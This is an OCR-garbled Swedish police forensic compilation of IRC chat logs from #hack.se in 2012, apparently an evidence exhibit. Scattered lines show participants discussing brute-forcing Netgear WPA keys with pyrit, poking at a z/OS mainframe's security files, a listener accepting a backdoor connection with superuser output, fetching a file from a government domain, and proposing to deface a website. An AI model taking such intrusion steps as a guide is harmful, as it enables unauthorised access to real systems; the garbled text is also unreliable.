Bilaga Passagen.2 - Sammanställn ing a v  xchat2.xlsx 01 .00 



Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr: 020 1 -K8 1 864-1 2 
Länskrim i nalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 0201 -K8 1 864- 1 2 443 

Bilaga Passagen.2 - Sammanstäl ln ing a v  xchat2 .xlsx 01 .00 



Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr:  020 1 -K8 1 864-1 2 
Länskri mi nalpol isavdeln ingen, Il-forensiska sektionen 201 2-05-21 

Bilaga Passagen.2 - Sammanstäl ln ing av xchat2.xlsx 

0201 -K81 864- 1 2 444 

01 .00 



Sammanstä l ln ing av xchat2 , 201 3-03-27 1 5 :39 d iarienr: 0201 -K8 1 864-1 2 
Länskrim i nalpol isavdeln ingen, Il-forensiska sektionen 201 2-05-21 0201 -K81 864-1 2 445 

innehavare av F-skattsedel ,  reg istrerad för 

Bilaga Passagen.2 - Sammanstäl ln ing av xchat2.xlsx 01 .00 



Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iarienr :  020 1 -K8 1 864-1 2 
Länskri mi nalpol isavdeln ingen, Il-forensiska sektionen 201 2-05-21 0201 -K81 864- 1 2 446 

Nätverk Kanal/Person/Fil 

stressad och upp i varv. tog 50 mg deka zOna.txt ( 1 655) 

Bilaga Passagen.2 - Sammanstäl ln ing av xchat2 .xlsx 0 1 .00 



Sammanstä l ln ing av xchat2 , 201 3-03-27 1 5 :39 d iarienr: 020 1 -K8 1 864-1 2 
Länskri m inalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 

Bilaga Passagen.2 · Sammanstäl ln ing av xchat2.xlsx 

020 1 -KB1 864- 1 2  447 

0 1 .00 



Sammanstä l l n ing av xchat2 , 201 3-03-27 1 5 :39 d iarien r: 0201 -K8 1 864-1 2 
Länskri minalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 020 1 -K81 864- 1 2  448 

201 2-03-07 00:50 

Bilaga Passagen.2 - Sammanstäl lning a v  xchat2 .xlsx 0 1 .00 



Sammanstäl ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iarienr: 020 1 -K8 1 864-1 2 
Länskrimi nalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 0201 -K81 864- 1 2 

Användare 

201 2-03-07 07:49 
201 2-03-07 07:49 
201 2-03-07 1 2 :52 1 8  
201 2-03-07 1 5 :03 1 9  * 

�-03-07 1 5 :03 22 * 

·03-07 1 5 :03 22 * 

201 2-03-07 1 8 : 1 9  1 9  
201 2-03-07 22:37 22 * 

201 2-03-07 22:38 22 * 

201 2-03-07 22:38 22 * 

201 2-03-07 22:38 22 * 

201 2-03-07 22:38 1 9  * 

201 2-03-07 23:01  1 8  <Zeotrope> 

201 2-03-07 23:06 1 8  <Zeotrope> 
?� . "-03-08 o 1 :25 23 * 

03-09 01 :41 22 * 

2U 1 2-03-09 01 :42 22 * 

201 2-03-09 01 :42 1 9  * 

201 2-03-09 01 :42 22 * 

Tel interface un loaded 
O >  

1 9  Now talking on #hack.se 

om hur o l ika psykiatriska utredn ingar 

deka 
EFnet 

tnet.stealth sels mode +n #hack.se New Network #hack.se.txt ( 1 647) 
tnet.stealth sels mode +l #hack.se 
lä et? 

New Network #hack.se.txt 1 647 
New Network #hack.se.txt 1 647 

Disconnected (Connection reset by peer) .  
d i ROX already in use. Retrying with d iROX . . .  
d iROX already in  use. Retrying with luciddream 
luciddream sels mode +i  luciddream 

de verkar vara antingen 9 s iffror med · 

alfanum med 0-9abcdefg för netgear cg31 00 
den du paslade passar in . . .  kör man brute med pyrit så tar det med en core2duo EFnet 
ca 2mån . . .  slänger man in  ett grafikkort ca en vecka 
vet du v i lka som har 'foohex' enbart som ssid? EFnet 
23Zeotrope has quit (23Read error: Connection reset by peer23) 
Disconnected (Connection reset by peer) . 
luciddream sels mode +i luciddream 

1 9  Now talking on #hack. se 

zeotrope.txt ( 1 641 ) 

Bilaga Passagen.2 - Sammanstäl ln ing av xchat2 .xlsx 01 .00 
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Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iarienr: 0201 -K8 1 864-1 2 
Länskrimi nalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 

Datum Användare Chatmeddelande 

201 2-03-09 1 4 :36 1 8  KtLI-> - rw-r----- 1 473/1 1 1 75 2003-1 0-02 1 3 :30 /etc/security/its . i nfodata.seam. 
l 

201 2-03-09 1 4 :36 1 8  dl!-> l btw vi har vairt pa danska motsvarigheten oxo 
201 2-03-09 1 4 :37 1 8  KILt-> l har en del anvandarnamn iaf men inga losenord 
201 2-03-09 1 4:37 1 8  dLI-> j de verkar iaf inte kora reveke : )  
201 2-03-09 1 4 :47 1 8  <ILI·> l btw 
201 2-03-09 1 4 :48 1 8  dU-> ' jag undrar ju fan vad adminarna tror/taenker 
201 2-03-09 1 4 :48 1 8  dl!-> J de verkar ju inte d i rekt ha nan sakerhetskoll 
201 2-03-09 1 4:48 1 8  <ILI-> l de verkar ju kunna z/OS bra osv dock 
201 2-03-09 1 5 :22 22 * D1sconnected (Connect1on reset by peer) . 
201 2-03-09 1 5 :22 22 * Disconnected (Connection reset by peer). 
201 2-03-09 1 5 :22 22 * Disconnected (Connection reset by peer) . 
201 2-03-09 1 5 :22 1 9  * 1 9  Now talking on #hack. se 

2-03-09 1 5 :38 

201 2-03-09 1 5 :38 

201 2-03-09 1 5 :38 

201 2-03-09 1 5 :38 

201 2-03-09 1 5 :38 

201 2-03-09 1 5 :38 

Bilaga Passagen.2 - Sammanstäl ln ing av xchat2.xlsx 

020 1 -K81 864- 1 2 45Q 

Nätverk Kanal/Person/Fil 

New Network tlt-.txt ( 1 651 ) 

New Network tlt-.txt ( 1 651 ) 
New Network tlt-.txt ( 1 651 ) 
New Network tlt-.txt ( 1 651 ) 
New Network tlt-.txt ( 1 651 ) 
New Network tlt- .txt ( 1 651 ) 
New Network tlt- .txt ( 1 651 ) 
New Network tlt- .txt ( 1 651 ) 

New Network tlt- .txt ( 1 651 ) 

New Network tlt- . txt ( 1 651 ) 

New Network tlt-.txt ( 1 651 ) 

0 1 .00 



Sammanstä l l n ing  av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr: 0201 -K8 1 864-1 2 
Länskrim i nalpol isavdel n ingen, !T-forensiska sektionen 201 2-05-21 0201 -K81 864- 1 2  45 1 

New Network t lt- .txt ( 1 651 ) 
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Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr: 020 1 -K8 1 864- 1 2  
Länskrim i nalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 

201 2-03-09 1 9 :02 
201 2-03-09 1 9 :02 
201 2-03-09 1 9 :02 22 * 

201 2-03-09 1 9 :02 22 * 

201 2-03-09 1 9 :02 22 * 

201 2-03-09 1 9 :02 1 9  * 

201 2-03-09 1 9 :02 22 * 

201 2-03-09 1 9 :02 22 * 

201 2-03-09 1 9 :02 22 * 

201 2-03-09 1 9 :03 22 * 

201 2-03-09 1 9 :03 22 * 

201 2-03-09 1 9 :03 22 * 

201 2-03-09 1 9 :03 22 * 

201 2-03-09 1 9 :04 22 * 

201 2-03-09 1 9 :04 22 * 

201 2-03-09 1 9 :04 22 * 

201 2-03-09 1 9 :04 22 * 

201 2-03-09 1 9 :04 22 * 

201 2-03-09 1 9 :04 22 * 

201 2-03-09 1 9 :04 22 * 

201 2-03-09 1 9 :05 1 9  * 

Disconnected (Connection reset by peer) .  
luciddream already in  use. Retrying with d i ROX . . .  
d iROX sels mode +i d i ROX 

1 9  Now talking on #hack. se 
dl ROX already in  use. Retrying with d i ROX . . .  
d iROX already in use. Retrying with luciddream . . .  
N ickname already in  use. U s e  /N ICK t o  try another. 
Disconnected (Remote host closed sockel) . 
dl ROX already in use. Retrying with d l  ROX . . .  
d iROX already in use. Retrying with luciddream 
N ickname already in use. Use /NICK to try another. 
Disconnected (Connection reset by peer). 
Disconnected (Connection reset by peer) .  
d i ROX already in use. Retrying with d i ROX 
d iROX al ready in use. Retrying with luciddream 
N ickname already in use. Use /NICK to try another. 
Disconnected (Remote host closed sockel) . 

Med anledning av uppgraderingar i den tekniska plattformen kommer SPAR
tjänsterna inte att vara t i l lgängl iga söndagen den 1 1  mars. stoppet börjar kl .  
09:00 och planeras vara s lut k l .  1 8 :00.  Under denna tid kommer du som har 

inte att kunna lämna eller hämta i SPAR. 

Bilaga Passagen . 2  · Sammanstäl ln ing av xchat2 .xlsx 
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EFnet zeotrope.txt ( 1 641 ) 
New Network #hack.se.txt ( 1 647) 
New Network tlt- .txt ( 1 651 ) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network tlt- .txt ( 1 651 ) 
New Network t lt- .txt ( 1 651 ) 
New Network tlt-.txt ( 1 651 ) 
New Network tlt-.txt ( 1 651 ) 
New Network tlt- .txt ( 1 651 ) 
New Network t lt- .txt ( 1 651 ) 
New Network tlt- . txt ( 1 651 ) 
New Network #hack.se.txt ( 1 647) 
EFnet zeotrope.txt ( 1 641 ) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
EFnet zeotrope.txt ( 1 641 ) 

0 1 .00 

452 



Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iarienr: 020 1 -K8 1 864- 1 2  
Länskrim i nalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 

Datum Användare 

201 2-03-09 21 :49 1 8  <tll-> 
201 2-03-09 21 :49 1 8  <tll-> 
201 2-03-09 2 1 :57 1 8  <IL!> 
201 2-03-09 21 :57 1 8  <IL!> 

201 2-03-09 21 :57 1 8  <Il l> 

201 2-03-09 21 :57 1 8  <IL!> 
201 2-03-09 21 :57 1 8  <IL!> 
201 2-03-09 23 :01  23 . 
201 2-03-09 23 :34 22 . 
201 2-03-09 23:34 22 . 
2n1 2-03-09 23 :34 22 . 

'-03-09 23:35 22 . 
� - . 2-03-09 23:35 22 . 
201 2-03-09 23:35 22 . 
201 2-03-09 23:35 1 9 . 
201 2-03-09 23:35 22 . 
201 2-03-09 23:35 22 . 
::- - � ?-03-09 23"35 22 . -

-03-09 23:35 22 . -
2u 1 2-03-1 O 01 :38 1 8  <IL!> 
201 2-03-1 o 01 :38 1 8  <IL!> 
201 2-03-1 o 01 :38 1 8  <Il l> 
201 2-03- 1 0 02 : 1 0 1 8  <IL!> 
201 2-03- 1 0 02 : 1 0  1 8  <IL!> 
201 2-03- 1 0 02 : 1 0  1 8  <IL!> 
201 2-03- 1 0 02 : 1 0  1 8  <IL!> 
201 2-03- 1 0 02 : 1 0  1 8  <IL!> 
201 2-03- 1 0 02 : 1 0  1 8  <IL!> 
201 2-03- 1 0 02 : 1 0  1 8  <IL!> 

20 1 2-03-1 o 02 : 1  o 1 8  <Il l> 
201 2-03- 1 0 02 : 1 0  1 8  <IL!> 
201 2-03- 1 0 02 : 1 0  1 8  <IL!> 
201 2-03-1 o 03:27 1 8  <IL!> 
201 2-03- 1 0 03:50 1 8  <IL!> 
201 2-03- 1 0 04:00 1 8  <IL!> 
201 2-03- 1 0 05 .44 1 9  . 
20' ?-03- 1 0 05 :44 23 . 

03- 1 0 05:46 1 8  <IL!> 
2v o .!-03- 1 0 08:47 1 8  <IL!> 
201 2-03-1 O 1 4 : 1 7  1 8  <IL!> 
201 2-03-1 0 1 4 : 1 7 
201 2-03-1 0 1 6 :33 
201 2-03-1 0 1 6 :46 
?' ' -03- 1 0 1 6 :54 

03- 1 0 1 6 :55 
201 2-03-1 0 1 6 :56 
201 2-03- 1 0 1 6 :56 
201 2-03- 1 0 1 6 :56 

l 

l 

l 
l 
l 
l 

l 
l 
l 

Chatmeddelande 

grejen e ju l iksom, vad fan ska de gara :P 
ftp anvands ju som fan : P  
201 2. 
Organisationer som idag är kunder t i l l  SPAR på Intadata via lnfodata/lnfoTorg 
el ler någon av Intadatas partners måste senast till årsskiftet 201 1 /20 1 2  antingen 
bl i  kund d i rekt t i l l  SPAR på skatteverket el ler välja att få t i l lgång t i l l  uppgifter ur 
SPAR på Skatteverket via ett kundombud. 
Kunder i SPAR på Intadata som väljer att fortsätta att använda lnfodata/lnfoTorg 
eller någon av Intadatas partners som kundombud kommer att börja läggas om 
t i l l  SPAR på skatteverket med start i början av år 201 2. Planen är att majoriteten 
av befintl iga kunder på SPAR på I ntadata ska vara omlagda under första 
kvartalet 20 1 2 . Vissa kunder med speciel la behov kommer att kunna få 

förlänqd drift1id på Intadata ytterl igare en period. 
intressant 
23Zeotrope has gUlt (23Read error: Connect1on reset by peer23) 
Disconnected (Connection t imed out) . 
Disconnected (Connection timed out) . 
Disconnected (Connection t imed out) . 
d iROX sets mode +i d iROX 
dl ROX al ready in  use. Retrying with d l  ROX 
d iROX sets mode +i  d i ROX 

1 9  Now talking on #hack.se 
tnet.stealth sets mode +n #hack. se 
tnet.stealth sets mode +t #hack.se 
Disconnected (Connection t imed out) 
Disconnected (Connection t imed out) . 
hohoh 
vejki 
vejki 
APT201 1 :/u/apt20 1 1 :  >itmp/c2 
$ACLITPOO ADVANCED CL IENT THREAT PERS ISTANCE IN ITIALIZATION.  
Advanced Persistent cl ienT 
port 5021 : l isten inq .  
waitinq for  the APTback<TM> . . .  
alert ! ! !  advancing port 5021 threat ! 
accepted persistent tcp connection from 93. 1 86 . 1 70.54:60090 

$APTM1 337 ENTERING ADVANCED PR INTER/TYPEWRITER MODE 
id 
uid=D(SUPERUSR) qid=O(STCG ROUP) groups=589700(E897) 
sadar ja 
tanka http://www.phnompenh.gov .kh/p.gz 
: D : D : : D : D : D : D : D : : D D  

1 9  tlt (stunnel4@local . tnet) h a s  JOined #hack. se 
23tlt (23stunnel4@local.tnet has lett #hack.se 
hoho 
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Nätverk Kanal/Person/Fil  

New Network tlt-.txt ( 1 651 ) 
New Network tlt- .txt ( 1 651 ) 
New Network tlt.txt ( 1 652) 
New Network tlt.txt ( 1 652) 

New Network tlt.txt ( 1 652) 

New Network tlt.txt (1 652) 
New Network tlt.txt ( 1 652) 
EFnet zeotrope.txt ( 1 641 ) 
New Network tlt-.txt ( 1 651 ) 
New Network tlt.txt ( 1 652) 
New Network #hack.se.txt ( 1 647) 
New Network tlt.txt ( 1 652) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
EFnet lit lxt ( 1 640) 
EFnet zeotrope.txt ( 1 641 ) 
EFnet tlt.txt ( 1 640) 
EFnet tlt.txt ( 1 640) 
New Network tlt.txt ( 1 652) 
New Network tlt.txt ( 1 652) 
New Network tlt.txt ( 1 652) 
New Network tlt.txt ( 1 652) 
New Network tlt.txt ( 1 652) 
New Network tlt.txt ( 1 652) 
New Network tlt.txt ( 1 652) 
New Network tlt.txt ( 1 652) 

New Network tlt.txt ( 1 652) 
New Network tlt.txt ( 1 652) 
New Network tlt.txt ( 1 652) 
New Network tlt.txt ( 1 652) 
New Network tlt.txt ( 1 652) 
EFnet tlt.txt (1 640) 

EFnet 
EFnet 
New Network tlt.txt 
New Network tlt.txt 
New Network tlt.txt 
New Network tlt.txt 
New Network tlt.txt 
New Network tlt.txt 

01 .00 



Sammanstä l l n ing  av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr :  020 1 -K8 1 864- 1 2 
Länskrim i nalpol isavdel ningen, !T-forensiska sektionen 201 2-05-21 

Datum Användare Chatmeddelande 

201 2-03-1 0 1 7 : 1 4  
201 2-03-1 0 1 7 : 1 4  e r  losen 
201 2-03- 1 0 1 7 : 1 4  3 0  m m  kol lar i databasen nu 
201 2-03-1 0 1 7 : 1 4  iaf for AVIV### 
201 2-03-1 0 1 7:32 Disconnected (Connection t imed out) . 
201 2-03-1 0 1 7 :32 22 * Disconnected (Connection t imed out) . 
201 2-03-1 o 1 7 :32 22 * Disconnected (Connection t imed out) . 
201 2-03-1 o 1 7 :33 22 * d l  ROX sets mode +i d iROX 
201 2-03- 1 0 1 7 :33 1 9  * 1 9  Now talk ing on #hack.se 
201 2-03-1 o 1 7 :33 22 * tnet.stealth sets mode +n #hack.se 
201 2-03-1 0 1 7 :33 22 * tnet.stealth sets mode +t #hack. se 
201 2-03-1 0 1 7 :33 22 * d iROX sets mode +i d iROX 
201 2-03-1 o 1 7 :34 22 * Disconnected (Connection t imed out) . 
201 2-03-1 o 1 7 :34 Disconnected Connection t imed out . 
201 2-03- 1 0 1 7 :37 brb 
201 2-03- 1 0 1 7 :59 Disconnected (Connection t imed out) . 
201 2-03-1 0 1 7 :59 dl ROX sets mode +i d iROX 
201 2-03-1 0 1 7 :59 1 9  * 1 9  Now talk ing on #hack.se 
201 2-03-1 o 1 7 :59 22 * tnet.stealth sets mode +n #hack.se 
201 2-03-1 o 1 7 :59 22 * tnet.stealth sets mode +t #hack. se 
201 2-03-1 0 1 7 :59 22 * Disconnected (Connection t imed out) . 
201 2-03- 1 0 1 7 :59 22 * Disconnected (Connection t imed out) . 
201 2-03-1 o 1 7 :59 22 * d iROX sets mode +i d i ROX 
201 2-03-1 0 1 8 :00 22 * Disconnected (Connection t imed out) . 
201 2-03-1 o 1 8 :00 22 * Disconnected (Connection t imed out) . 
201 2-03-1 o 1 8 :01  22 * Disconnected (Remote hast closed sockel) . 
201 2-03- 1 0 1 8 :01  Disconnected Remote host closed sockel . 
201 2-03-1 0 1 8 : 1 8 
201 2-03- 1 0 1 8 : 1 9 
201 2-03-1 0 1 8 :20 
201 2-03-1 0 1 8 :20 
201 2-03-1 o 1 8 :20 
201 2-03-1 o 1 8 :21 zcat p.gzl iconv -c -f ebcdic-us -t us-asciqstrings 
201 2-03-1 0 1 8 :43 22 * Disconnected (Connection t imed out) . 
201 2-03- 1 0 1 8 :43 22 * Disconnected (Connection timed out) . 
201 2-03-1 0 1 8 :43 22 * Disconnected (Connection timed out) . 
201 2-03- 1 0 1 8 :43 22 * Disconnected (Connection t imed out) . 
201 2-03-1 0 1 8 :43 22 * Disconnected (Connection t imed out) . 
201 2-03-1 0 1 9 :08 22 * d i ROX already in use. Retrying with dl ROX 
201 2-03-1 o 1 9 :08 22 * d l  ROX sets mode +i  d iROX 
201 2-03- 1 0 1 9 :08 1 9  * 1 9  Now talk ing on #hack.se 
201 2-03-1 0 1 9 :08 22 * tnet.stealth sets mode +n #hack .se 
201 2-03- 1 0 1 9 :08 22 * tnet.stealth sets mode +t #hack. se 
201 2-03- 1 0 1 9 :08 d iROX sets mode +i  d iROX 
201 2-03-1 0 1 9 :27 ska vi inte defaca intoro .se? :PP  
201 2-03-1 o 1 9 :58 Disconnected ( I nvalid argument) .  
201 2-03-1 o 1 9 :58 Disconnected ( I nvalid argument) . 
201 2-03- 1 0 1 9 :59 22 * Disconnected (Connection timed out) . 
201 2-03-1 o 1 9 :59 22 * Disconnected (Connection t imed out) . 
201 2-03-1 0 1 9 :59 22 * Disconnected (Connection t imed out) . 
201 2-03-1 0 1 9 :59 1 9  * 1 9  Now talk ing on #hack. se 
201 2-03-1 0 1 9 :59 22 * tnet.stealth sets mode +n #hack.se 

Disconnected (Remote host closed socket) . 
22 * Disconnected (Remote hast ciased socket) . 

201 2-03-1 o 21 :29 22 * Disconnected (Remote hast closed sockel) .  
201 2-03-1 o 22 :31  22 * Disconnected (Connection reset by peer). 
201 2-03- 1 0 22:31 22 * Disconnected (Connection reset by peer) . 
201 2-03- 1 0 22:31 22 * Disconnected (Connection reset by peer) . 
201 2-03-1 0 22:31 22 * d iROX sets mode +i d iROX 
201 2-03- 1 0 22:31 22 * d i ROX sets mode +i d i ROX 
201 2-03- 1 0 22:31 1 9  * 1 9  Now talk ing on #hack. se 
201 2-03-1 o 22:31 22 * tnet.stealth sets mode +n #hack.se 
201 2-03-1 0 22:31 22 * tnet.stealth sets mode +t #hack.se 
201 2-03- 1 0 22:47 22 * Disconnected ( I nvalid argument) . 
201 2-03-1 0 22:47 22 * Disconnected ( I nvalid argument) . 
201 2-03- 1 0 22:47 22 * Disconnected ( I nvalid argument) . 
201 2-03-1 0 22:49 22 * Disconnected (Connection t imed out) . 
201 2-03- 1 0 22:49 22 * Disconnected (Connection t imed out) .  
201 2-03-1 0 22:49 22 * Disconnected (Connection t imed out) . 
201 2-03-1 o 22:50 1 9  * 1 9  Now talk ing on #hack. se 
201 2-03- 1 0 22:50 22 * tnet.stealth sets mode +n #hack.se 
201 2-03-1 0 22:50 22 * tnet.stealth sets mode +t #hack. se 
201 2-03-1 o 23:09 22 * Disconnected (Connection timed out) . 

Bilaga Passagen.2 - Sammanstäl ln ing av xchat2.xlsx 
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New Network t lt .txt 
New Network t lt .txt 
New Network t lt .txt 
New Network t lt .txt 

New Network t lt- .txt ( 1 651 ) 
New Network tlt .txt ( 1 652) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network t lt .txt ( 1 652) 

New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network tlt- .txt ( 1 651 ) 
New Network t lt .txt ( 1 652) 
New Network tlt- .txt ( 1 651 ) 
EFnet t lt .txt ( 1 640) 

EFnet t lt .txt ( 1 640) 
EFnet zeotrope. txt ( 1 641 ) 
New Network #hack.se.txt ( 1 647) 
New Network tlt- . txt ( 1 651 ) 
New Network tlt .txt ( 1 652) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network t lt .txt 1 652) 
New Network tlt .txt 1 652 
EFnet t lt .txt ( 1 640) 
EFnet zeotrope. txt ( 1 641 ) 
New Network #hack.se.txt ( 1 647) 
New Network t lt- .txt ( 1 651 ) 
New Network t lt .txt ( 1 652) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 

hapan.txt ( 1 635) 

EFnet zeotrope .txt ( 1 641 ) 
New Network #hack.se.txt ( 1 647) 
New Network tlt-.txt ( 1 651 ) 
New Network t lt .txt ( 1 652) 
New Network t lt .txt ( 1 652) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
EFnet hapan.txt { 1 635) 
EFnet t lt .txt ( 1 640) 
EFnet zeotrope.txt ( 1 641 ) 
New Network #hack.se.txt ( 1 647) 
New Network tlt- . txt ( 1 651 ) 
New Network t lt .txt ( 1 652) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network tlt- . txt ( 1 651 ) 

01 .00 

454 



Sammanstä l ln ing av xchat2 , 20 1 3-03-27 1 5 :39 d iar ienr: 020 1 -K8 1 864-1 2 
Länskri minalpol isavdeln ingen, !T-forensiska sektionen 201 2-05-21 

Datum Användare Chatmeddelande 

201 2-03- 1 0 23:09 22 . Disconnected (Connection t irned out) . 
201 2-03- 1 0 23 : 1 0  22 . Disconnected (Connection t irned out) . 
201 2-03- 1 0 23 : 1 0 1 9  • 1 9  Now talking on #hack. se 
201 2-03-1 o 23 : 1  o 22 . tnet.stealth sels mode +n #hack.se 
201 2-03- 1 0 23 : 1 0 22 . tnet.stealth sets mode +l #hack.se 
201 2-03- 1 0 23:42 22 . Disconnected (Connection tirned out) . 
201 2-03- 1 0 23 :42 22 . d l  ROX sels mode +i dl ROX 
201 2-03- 1 0 23:42 1 9  • 1 9  Now talking on #hack. se 
201 2-03-1 o 23 :42 22 . tnet.stealth sels mode +n #hack. se 
201 2-03-1 o 23 :42 22 . tnet.stealth sets mode +l #hack. se 
201 2-03-1 o 23 :42 22 . Disconnected (Connection t irned out) . 
201 2-03- 1 0 23 :42 22 . Disconnected (Connection tirned out) . 
201 2-03-1 o 23 :42 22 . Disconnected (Connection t irned out) . 
201 2-03-1 o 23 :44 22 . Disconnected (Connection t irned out) . 
201 2-03- 1 0 23:44 22 . Disconnected (Connection t irned out) . 
201 2-03- 1 0 23 :44 d i ROX sels mode +i  d iROX 
201 2-03- 1 1 03:22 ah 
201 2-03-1 1 03 :22 : P  
?''< �-03- 1 1 08:00 

·03- 1 1 20:30 Disconnected (Connection t irned out) . 
<ev o 2-03- 1 1 20:30 22 . Disconnected (Connection t irned out) . 
201 2-03-1 1 20:30 22 . Disconnected (Connection t irned out) . 
201 2-03-1 1 20 :34 22 . Received a CTCP VERSION from pldm 
201 2-03- 1 3  02:00 22 . Disconnected (Connection t irned out) . 
201 2-03- 1 3 02:00 22 . Disconnected (Connection t irned out) . 

,_03- 1 3 02:00 22 . Disconnected (Connection t irned out) . 
-03- 1 3 02:00 22 . Disconnected (Connection t irned out) . 

201 2-03- 1 3 02:00 22 . Disconnected (Connection t irned out) . 
201 2-03- 1 3 02:00 22 . Disconnected (Connection t irned out) . 
201 2-03-1 3 02:51  22 . d iROX sets mode +i d iROX 
201 2-03- 1 3 02:51  19 • 1 9  Now talking on #hack. se 
201 2-03- 1 3 02:51  22 . tnet.stealth sels mode +n #hack.se 
201 2-03- 1 3 02:51  tnet.stealth sets mode +t #hack. se 

Received a CTCP VERSION from DM 

Disconnected (Connection reset by peer) . 
201 2-03-1 4 1 1 :4 1  Disconnected (Connection reset by peer) . 
201 2-03-1 4 1 1 :41 22 . Disconnected (Connection reset by peer) .  
201 2-03- 1 4  1 1  :42 22 . Disconnected (Remote host closed sockel) .  
201 2-03- 1 4  1 1 :42 22 . Disconnected (Remote host closed sockel) .  
201 2-03- 1 4  1 1  :42 22 . Disconnected (Remote host closed sockel) .  
201 2-03-1 4 1 1  :42 22 . Disconnected (Remote host closed sockel) . 
201 2-03- 1 4 1 1  :42 22 . Disconnected (Remote host closed sockel) .  
?- " "-03- 1 4 1 1 :42 22 . Disconnected (Remote host closed sockel) . 

·03- 1 4 1 1 :43 22 . Disconnected (Remote host closed sockel) .  
201 2-03- 1 4  1 1  :43 22 . Disconnected (Remote host closed sockel) .  
201 2-03- 1 4 1 1  :43 22 . Disconnected ( Remole host closed sockel) . 
201 2-03-1 4 1 1 :44 22 . Disconnected (Remote host closed sockel) . 
201 2-03- 1 4  1 1  :44 22 . Disconnected (Remote host closed sockel) . 
201 2-03-1 4 1 1 :44 22 . Disconnected (Remote host closed sockel) .  

03- 1 4 1 1 :45 22 . Disconnected (Remote host closed sockel) . 
'- _-03-1 4 1 1 :45 22 . Disconnected (Remote host closed sockel) . 
201 2-03-1 4 1 1 :45 22 . Disconnected (Remote host closed sockel) . 
201 2-03- 1 4  1 1  :45 22 . Disconnected (Remote host closed sockel) .  
201 2-03- 1 4 1 1 :45 22 . Disconnected (Remote host closed sockel) . 
201 2-03- 1 4  1 1 :45 22 . Disconnected (Remote host closed sockel) . 
201 2-03- 1 4  1 1  :46 22 . Disconnected (Remote host closed sockel) . 
201 2-03-1 4 1 1 :46 22 . Disconnected (Remote host closed sockel) .  
201 2-03- 1 4  1 1  :46 22 . Disconnected (Remote host closed sockel) . 
201 2-03-1 4 1 1 :47 22 . Disconnected (Remote host closed sockel) . 
201 2-03-1 4 1 1 :47 22 . Disconnected (Remote host closed sockel) .  
201 2-03-1 4 1 1 :47 22 . Disconnected (Remote host closed sockel) .  
201 2-03- 1 4 1 1  :48 22 . Disconnected (Remote host closed sockel) . 
201 2-03-1 4 1 1 :48 22 . Disconnected (Remote host closed sockel) . 
201 2-03-1 4 1 1  :48 22 . Disconnected (Remote host closed sockel) . 
201 2-03-1 4 1 1 :48 22 . Disconnected (Remote hos! closed sockel) . 
201 2-03- 1 4  1 1  :48 22 . Disconnected (Remote host closed sockel) . 
201 2-03-1 4 1 1 :48 22 . Disconnected (Remote host closed sockel) . 
201 2-03-1 4 1 1 :49 22 . Disconnected (Remote host closed sockel) .  
201 2-03-1 4 1 1 :49 22 . Disconnected (Remote host closed sockel) . 
201 2-03-1 4 1 1 :49 22 . Disconnected (Remote host closed sockel) . 
201 2-03- 1 4  1 1 :50 22 . Disconnected (Remote host closed sockel) . 
201 2-03- 1 4 1 1  :50 22 . Disconnected (Remote host closed sockel) . 
201 2-03-1 4 1 1 :50 22 . Disconnected (Remote host closed sockel) . 

B i laga Passagen.2 - Sammanstäl ln ing av xchat2.xlsx 

0201 -K81 864- 1 2  455 

Nätverk Kanal/Person/Fil 

New Network tlt .txt ( 1 652) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
New Network #hack.se.txt ( 1 647) 
EFnet hapan.txt ( 1 635) 
EFnet tlt .txt ( 1 640) 
EFnet zeotrope. txt ( 1 641 ) 
New Network tlt-.txt ( 1 65 1 ) 
New Network tlt .txt ( 1 652) 
New Network t lt .txt ( 1 652 
New Network tlt .txt 1 652 

EFnet ha an.txt 1 635 
EFnet hapan .txt ( 1 635) 
EFnet tlt .txt ( 1 640) 
EFnet zeotrope.txt ( 1 641 ) 
EFnet hapan.txt ( 1 635) 
New Network #hack.se.txt ( 1 647) 
New Network tlt- .txt ( 1 651 ) 
New Network tlt.txt ( 1 652) 
EFnet hapan.txt ( 1 635) 
